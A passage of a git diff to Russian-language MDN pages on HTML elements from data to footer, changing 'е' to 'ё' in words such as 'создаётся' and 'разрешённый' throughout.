{{Non-standard_inline}}</dt> - <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе счисления, определенный как <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB </a>с префиксом '#'. Можно использовать одну из шестнадцати предопределенных строк: + <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе счисления, определённый как <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB </a>с префиксом '#'. Можно использовать одну из шестнадцати предопределённых строк: <table style="width: 80%;"> <tbody> <tr> diff --git a/files/ru/web/html/element/data/index.html b/files/ru/web/html/element/data/index.html index 776121917f..534077bc41 100644 --- a/files/ru/web/html/element/data/index.html +++ b/files/ru/web/html/element/data/index.html @@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/data <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.data")}}</p> diff --git a/files/ru/web/html/element/datalist/index.html b/files/ru/web/html/element/datalist/index.html index 8af1475c47..a10e49870b 100644 --- a/files/ru/web/html/element/datalist/index.html +++ b/files/ru/web/html/element/datalist/index.html @@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/datalist <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.datalist")}}</p> diff --git a/files/ru/web/html/element/dd/index.html b/files/ru/web/html/element/dd/index.html index 19f937c1c3..747f73b779 100644 --- a/files/ru/web/html/element/dd/index.html +++ b/files/ru/web/html/element/dd/index.html @@ -99,7 +99,7 @@ translation_of: Web/HTML/Element/dd <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.dd")}}</p> diff --git a/files/ru/web/html/element/del/index.html b/files/ru/web/html/element/del/index.html index 7c6e497506..73bf36f3ed 100644 --- a/files/ru/web/html/element/del/index.html +++ b/files/ru/web/html/element/del/index.html @@ -5,13 +5,13 @@ tags: - доступность translation_of: Web/HTML/Element/del --- -<p><span class="seoSummary">Элемент <strong>HTML <code><del></code> </strong>представляет диапазон текста, который был удален из документа. </span>Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.</p> +<p><span class="seoSummary">Элемент <strong>HTML <code><del></code> </strong>представляет диапазон текста, который был удалён из документа. </span>Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.</p> <div>{{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}</div> <p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> -<p>Этот элемент часто (но не обязательно) отображается с помощью применения зачеркнутого стиля к тексту.</p> +<p>Этот элемент часто (но не обязательно) отображается с помощью применения зачёркнутого стиля к тексту.</p> <table class="properties"> <tbody> @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/del <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Фразовый контент</a> или <a href="/en-US/docs/HTML/Content_categories#Flow_content">потоковый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/HTML/Content_categories#Transparent_content_model">Прозрачный</a>.</td> </tr> <tr> @@ -89,7 +89,7 @@ del::after { } </pre> -<p>Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создает дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя ее только в ситуациях, когда незнание контента, который был удален, может негативно повлиять на восприятие.</p> +<p>Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создаёт дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя её только в ситуациях, когда незнание контента, который был удалён, может негативно повлиять на восприятие.</p> <ul> <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Короткая заметка о создании своих меток (больше доступности) | The Paciello Group</a></li> @@ -136,7 +136,7 @@ del::after { <ul> <li>{{HTMLElement("ins")}} элемент для вставки в текст</li> <li> - <p>{{HTMLElement("s")}} элемент для зачеркивания, отдельный от представления удаленного текста</p> + <p>{{HTMLElement("s")}} элемент для зачёркивания, отдельный от представления удалённого текста</p> </li> </ul> diff --git a/files/ru/web/html/element/details/index.html b/files/ru/web/html/element/details/index.html index 59a325fa0e..bbc3bc41be 100644 --- a/files/ru/web/html/element/details/index.html +++ b/files/ru/web/html/element/details/index.html @@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/details <p>{{EmbedLiveSample("Example")}}</p> <div class="note"> -<p><strong>Примечание: </strong>Если приведенный выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. </p> +<p><strong>Примечание: </strong>Если приведённый выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. </p> </div> <h2 id="Примеры_стилизации">Примеры стилизации</h2> diff --git a/files/ru/web/html/element/dfn/index.html b/files/ru/web/html/element/dfn/index.html index c34e105cbd..05e0214d31 100644 --- a/files/ru/web/html/element/dfn/index.html +++ b/files/ru/web/html/element/dfn/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/dfn <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но ни один {{HTMLElement("dfn")}} элемент не должен быть потомком.</td> </tr> <tr> @@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/dfn <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/dfn <h3 id="Ссылки_на_<dfn>_элементы">Ссылки на <code><dfn></code> элементы</h3> -<p>Если вы включаете атрибут {{htmlattrxref("id")}} в <code><dfn></code> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он еще не знает его, нажав на ссылку термина.</p> +<p>Если вы включаете атрибут {{htmlattrxref("id")}} в <code><dfn></code> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он ещё не знает его, нажав на ссылку термина.</p> <p>Это показано ниже в примере {{anch("Ссылки на определения")}}.</p> @@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/dfn <h3 id="Ссылки_на_определения">Ссылки на определения</h3> -<p>Чтобы добавить ссылки к определениям, вы создаете ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. <p><strong>Элемент определения HTML</strong> <code>(<strong><dfn>&lt;dfn&gt;</dfn></strong>)</code> используется для обозначения термина, определяемого в контексте фразы или предложения. </p></p> +<p>Чтобы добавить ссылки к определениям, вы создаёте ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. <p><strong>Элемент определения HTML</strong> <code>(<strong><dfn>&lt;dfn&gt;</dfn></strong>)</code> используется для обозначения термина, определяемого в контексте фразы или предложения. </p></p> <h4 id="HTML_2">HTML</h4> @@ -136,7 +136,7 @@ enim possumus hoc agere divinius?</p> <p> </p> -<p>Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} <code>«definition-dfn»</code>, который может использоваться в качестве цели для ссылки. Позднее создается ссылка с использованием<code> <a></code> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на <code>«#definition-dfn»</code>, чтобы установить ссылку обратно на определение.</p> +<p>Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} <code>«definition-dfn»</code>, который может использоваться в качестве цели для ссылки. Позднее создаётся ссылка с использованием<code> <a></code> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на <code>«#definition-dfn»</code>, чтобы установить ссылку обратно на определение.</p> <h4 id="Результат_2">Результат</h4> @@ -158,11 +158,11 @@ enim possumus hoc agere divinius?</p> <p>Действительно, HST, возможно, <abbr title="Hubble Space Telescope"></abbr> сделал больше для развития науки, чем любое другое устройство, когда-либо созданное.</p> </pre> -<p>Обратите внимание на <code><abbr></code> элемент, вложенный в <code><dfn></code>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своем атрибуте <code>title</code>. Последнее указывает на то, что сокращенный термин представляет собой определяемый термин.</p> +<p>Обратите внимание на <code><abbr></code> элемент, вложенный в <code><dfn></code>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своём атрибуте <code>title</code>. Последнее указывает на то, что сокращённый термин представляет собой определяемый термин.</p> <h4 id="Результат_3">Результат</h4> -<p>Вывод приведенного выше кода выглядит следующим образом:</p> +<p>Вывод приведённого выше кода выглядит следующим образом:</p> <p>{{ EmbedLiveSample('HTML_3', '', '', '', 'Web/HTML/Element/dfn') }}</p> diff --git a/files/ru/web/html/element/dialog/index.html b/files/ru/web/html/element/dialog/index.html index 38ca0276b5..3143ca9b83 100644 --- a/files/ru/web/html/element/dialog/index.html +++ b/files/ru/web/html/element/dialog/index.html @@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/dialog </tr> <tr> <th scope="row">Разрешённые родительские элементы</th> - <td>Любой элемент, в котором разрешен <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">основной поток</a></td> + <td>Любой элемент, в котором разрешён <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">основной поток</a></td> </tr> <tr> <th scope="row">DOM-интерфейс</th> diff --git a/files/ru/web/html/element/div/index.html b/files/ru/web/html/element/div/index.html index 27ca73a4ae..503e8e24a8 100644 --- a/files/ru/web/html/element/div/index.html +++ b/files/ru/web/html/element/div/index.html @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/div <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a> или (в {{glossary("WHATWG")}} HTML), если родительским является элемент {{HTMLElement("dl")}}: один или несколько элементов {{HTMLElement("dt")}}, сопровождаемых одним или более элементами {{HTMLElement("dd")}}, в ряде случаев смешанных с элементами {{HTMLElement("script")}} и {{HTMLElement("template")}}.</td> </tr> <tr> @@ -39,12 +39,12 @@ translation_of: Web/HTML/Element/div <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый контент</a> в качестве содержимого..<br> Или (в {{glossary("WHATWG")}} HTML): элемент {{HTMLElement("dl")}}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -119,7 +119,7 @@ translation_of: Web/HTML/Element/div <tr> <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '<div>')}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени)</td> + <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохранённое в определённый момент времени)</td> </tr> <tr> <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '<div>')}}</td> diff --git a/files/ru/web/html/element/dl/index.html b/files/ru/web/html/element/dl/index.html index 037d3e61c5..195584e4cd 100644 --- a/files/ru/web/html/element/dl/index.html +++ b/files/ru/web/html/element/dl/index.html @@ -118,7 +118,7 @@ translation_of: Web/HTML/Element/dl <h3 id="Множественные_термины_и_определения">Множественные термины и определения</h3> -<p>Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путем комбинирования приведенных выше примеров.</p> +<p>Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путём комбинирования приведённых выше примеров.</p> <h3 id="Метаданные">Метаданные</h3> @@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/dl <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.dl")}}</p> diff --git a/files/ru/web/html/element/dt/index.html b/files/ru/web/html/element/dt/index.html index 093e46aa6d..d46393c7c8 100644 --- a/files/ru/web/html/element/dt/index.html +++ b/files/ru/web/html/element/dt/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/dt --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><dt></code> </strong>который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента {{HTMLElement("dl")}} .</span> Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <code><dt></code> идущие друг за другом будут содержать свое определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.</p> +<p><span class="seoSummary"><strong>HTML-элемент <code><dt></code> </strong>который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента {{HTMLElement("dl")}} .</span> Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <code><dt></code> идущие друг за другом будут содержать своё определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.</p> <p>Последующий элемент {{HTMLElement("dd")}} (<em>от англ. Description Details)</em> предоставляет определение или другой связанный текст, относящийся к термину, указанным с помощью <code><dt></code>.</p> @@ -91,7 +91,7 @@ translation_of: Web/HTML/Element/dt <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.dt")}}</p> diff --git a/files/ru/web/html/element/em/index.html b/files/ru/web/html/element/em/index.html index 1ceea62afd..0a1ae9d801 100644 --- a/files/ru/web/html/element/em/index.html +++ b/files/ru/web/html/element/em/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/em --- <div>{{HTMLRef}}</div> -<p><strong>HTML <code><em></code> элемент</strong> отмечает акцентируемый текст. Элемент <code><em></code> может быть вложенным, причем каждый уровень вложенности указывает на большую степень акцента.</p> +<p><strong>HTML <code><em></code> элемент</strong> отмечает акцентируемый текст. Элемент <code><em></code> может быть вложенным, причём каждый уровень вложенности указывает на большую степень акцента.</p> <table class="properties"> <tbody> @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/em <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td> </tr> <tr> @@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/em <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -42,9 +42,9 @@ translation_of: Web/HTML/Element/em <h2 id="Примечания_по_использованию">Примечания по использованию</h2> -<p>Элемент <code><em></code> предназначен для слов, которые имеют подчеркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.</p> +<p>Элемент <code><em></code> предназначен для слов, которые имеют подчёркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.</p> -<p>Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространенные ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.</p> +<p>Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространённые ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.</p> <h3 id="<_i>_против_<em>">< i> против <em></h3> @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/em <p>Примером для <code><em></code> может быть: -«Просто <em>сделай</em> это!», или: «Мы <em>должны</em> были что-то с этим сделать». Человек или программа, читающие текст, будут произносить слова, выделенные курсивом, с ударением, используя словесное ударение.</p> -<p>Примером для <code><i></code> может быть: <em>«Королева Мэри</em> отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идет не о королеве по имени Мария, а о корабле по имени <em>Королева Мария</em>. Другим примером для <code><i></code> может быть: «Слово <em>‘the’ </em> это артикль».</p> +<p>Примером для <code><i></code> может быть: <em>«Королева Мэри</em> отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идёт не о королеве по имени Мария, а о корабле по имени <em>Королева Мария</em>. Другим примером для <code><i></code> может быть: «Слово <em>‘the’ </em> это артикль».</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/html/element/embed/index.html b/files/ru/web/html/element/embed/index.html index 7fbe94c866..7069cf7d44 100644 --- a/files/ru/web/html/element/embed/index.html +++ b/files/ru/web/html/element/embed/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/embed <p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> -<p>{{Note("Этот раздел посвящен только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}</p> +<p>{{Note("Этот раздел посвящён только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}</p> <p>Имейте ввиду, что большинство современных браузеров посчитали устаревшей и удалили поддержку встраивания плагинов, так что использование <code><embed></code>, как правило, не рекомендуется, если вы хотите, чтобы ваш сайт одинаково работал у всех его пользователей.</p> @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/embed <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, embedded content, interactive content, palpable content.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Отсутствует, это {{Glossary("empty element")}}.</td> </tr> <tr> @@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/embed <td>Любой элемент, который допускает встроенный контент</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}, {{ARIARole("presentation")}}</td> </tr> <tr> @@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/embed <ul> <li>Другие элементы, используемые для встраивания различного рода контента: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, and {{HTMLElement("video")}}.</li> - <li>Свойства, для позиционирования и определения размера внедренного контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li> + <li>Свойства, для позиционирования и определения размера внедрённого контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li> </ul> <p>{{ HTMLRef }}</p> diff --git a/files/ru/web/html/element/fieldset/index.html b/files/ru/web/html/element/fieldset/index.html index 2d526b1275..f6cae1b5b4 100644 --- a/files/ru/web/html/element/fieldset/index.html +++ b/files/ru/web/html/element/fieldset/index.html @@ -54,9 +54,9 @@ translation_of: Web/HTML/Element/fieldset <p>{{ EmbedLiveSample('Простой_fieldset', '100%', '80') }}</p> -<h3 id="Отключенный_fieldset">Отключенный fieldset</h3> +<h3 id="Отключённый_fieldset">Отключённый fieldset</h3> -<p>Этот пример показывает отключенный <code><fieldset></code> с двумя элементами управления внутри.</p> +<p>Этот пример показывает отключённый <code><fieldset></code> с двумя элементами управления внутри.</p> <pre class="brush: html"><form action="#"> <fieldset disabled> @@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/fieldset </fieldset> </form></pre> -<p>{{ EmbedLiveSample('Отключенный_fieldset', '100%', '110') }}</p> +<p>{{ EmbedLiveSample('Отключённый_fieldset', '100%', '110') }}</p> <h2 id="Техническая_сводка">Техническая сводка</h2> diff --git a/files/ru/web/html/element/figcaption/index.html b/files/ru/web/html/element/figcaption/index.html index b452665035..4250d317af 100644 --- a/files/ru/web/html/element/figcaption/index.html +++ b/files/ru/web/html/element/figcaption/index.html @@ -79,7 +79,7 @@ translation_of: Web/HTML/Element/figcaption <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.figcaption")}}</p> diff --git a/files/ru/web/html/element/figure/index.html b/files/ru/web/html/element/figure/index.html index 2842179eff..5a04e50384 100644 --- a/files/ru/web/html/element/figure/index.html +++ b/files/ru/web/html/element/figure/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/figure <h2 id="Примечания_по_использованию">Примечания по использованию</h2> <ul> - <li>Обычно <code><figure></code> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесен в другую часть документа или в приложение не нарушив основной поток.</li> + <li>Обычно <code><figure></code> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесён в другую часть документа или в приложение не нарушив основной поток.</li> <li>Являясь <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прочие_модели_контента" title="Sections and Outlines of an HTML5 document#Sectioning root">секционным корнем</a>, структура содержимого элемента <code><figure></code> исключается из основной структуры документа.</li> <li>Подпись может быть связана с элементом <code><figure></code> с помощью вставки {{HTMLElement("figcaption")}} внутри него (как первый или последний потомок). Первый элемент <code><figcaption></code> в иллюстрации предоставляет её подпись (заголовок).</li> </ul> diff --git a/files/ru/web/html/element/font/index.html b/files/ru/web/html/element/font/index.html index b3c1310ab8..62125859fc 100644 --- a/files/ru/web/html/element/font/index.html +++ b/files/ru/web/html/element/font/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/font <p> </p> -<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 336px;"><span lang="ru">Начиная с HTML 4, HTML больше не передает информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS. +<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 336px;"><span lang="ru">Начиная с HTML 4, HTML больше не передаёт информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS. Предыдущее поведение элемента {{HTMLElement ("font")}} может быть достигнуто и даже лучше контролироваться с помощью CSS CSS-свойств шрифтов.</span></pre> @@ -38,7 +38,7 @@ translation_of: Web/HTML/Element/font </dd> <dt>{{htmlattrdef("face")}}</dt> <dd> - <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 312px;"><span lang="ru">Этот атрибут содержит список разделенных запятыми одного или нескольких имен шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.</span></pre> + <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 312px;"><span lang="ru">Этот атрибут содержит список разделённых запятыми одного или нескольких имён шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.</span></pre> </dd> <dt>{{htmlattrdef("size")}}</dt> <dd> diff --git a/files/ru/web/html/element/footer/index.html b/files/ru/web/html/element/footer/index.html index b27f1eeb6b..8d57357ab7 100644 --- a/files/ru/web/html/element/footer/index.html +++ b/files/ru/web/html/element/footer/index.html @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/footer <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th>Разрешенное содержимое</th> + <th>Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Контент основного потока</a>, кроме <code><footer></code> и {{HTMLElement("header")}}.</td> </tr> <tr> @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/footer <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th>Разрешенные родительские элементы</th> + <th>Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><footer></code> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("header")}} или другого элемента <code><footer></code>.</td> </tr> <tr> - <th>Разрешенные ARIA роли</th> + <th>Разрешённые ARIA роли</th> <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td> </tr> <tr> @@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/footer <ul> <li>Заключите информацию об авторе в элемент {{HTMLElement("address")}}, который может быть добавлен в 